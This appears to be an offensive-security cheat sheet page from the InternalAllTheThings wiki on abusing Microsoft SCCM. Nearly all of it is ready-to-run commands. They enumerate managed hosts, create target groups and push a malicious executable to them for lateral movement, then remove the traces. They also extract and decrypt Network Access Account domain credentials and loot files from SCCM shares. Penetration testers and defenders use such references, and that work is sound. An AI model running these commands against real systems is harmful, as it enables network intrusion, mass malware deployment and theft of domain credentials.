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InternalAllTheThings/docs/active-directory/deployment-sccm.md

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Deployment - SCCM

Application Deployment

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

  • PowerSCCM - PowerShell module to interact with SCCM deployments

  • MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage

  • Using SharpSCCM

    .\SharpSCCM.exe get device --server <SERVER8NAME> --site-code <SITE_CODE>
.\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug

  • Compromise client, use locate to find management server

    MalSCCM.exe locate

  • Enumerate over WMI as an administrator of the Distribution Point

    MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups

  • Compromise management server, use locate to find primary server

  • Use inspect on primary server to view who you can target

    MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
MalSCCM.exe inspect /primaryusers
MalSCCM.exe inspect /groups

  • Create a new device group for the machines you want to laterally move too

    MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe inspect /groups

  • Add your targets into the new group

    MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL

  • Create an application pointing to a malicious EXE on a world readable share : SCCMContentLib$

    MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
MalSCCM.exe inspect /applications

  • Deploy the application to the target group

    MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
MalSCCM.exe inspect /deployments

  • Force the target group to checkin for updates

    MalSCCM.exe checkin /groupname:TargetGroup

  • Cleanup the application, deployment and group

    MalSCCM.exe app /cleanup /name:demoapp
MalSCCM.exe group /delete /groupname:TargetGroup

Network Access Accounts

If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.

On the machine

  • Find SCCM blob 
    Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
NetworkAccessPassword : <![CDATA[E600000001...8C6B5]]>
NetworkAccessUsername : <![CDATA[E600000001...00F92]]>
  • Using GhostPack/SharpDPAPI or Mayyhem/SharpSCCM for SCCM retrieval and decryption 
    .\SharpDPAPI.exe SCCM
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
  • Check ACL for the CIM repository located at C:\Windows\System32\wbem\Repository\OBJECTS.DATA: 
    Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl
ConvertFrom-SddlString ""

From a remote machine.

  • Using garrettfoster13/sccmhunter 
    python3 ./sccmhunter.py http -u "administrator" -p "P@ssw0rd" -d internal.lab -dc-ip 10.10.10.10. -auto

SCCM Shares

Find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares

  • 1njected/CMLoot 
    Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt
Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml
Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension msi

References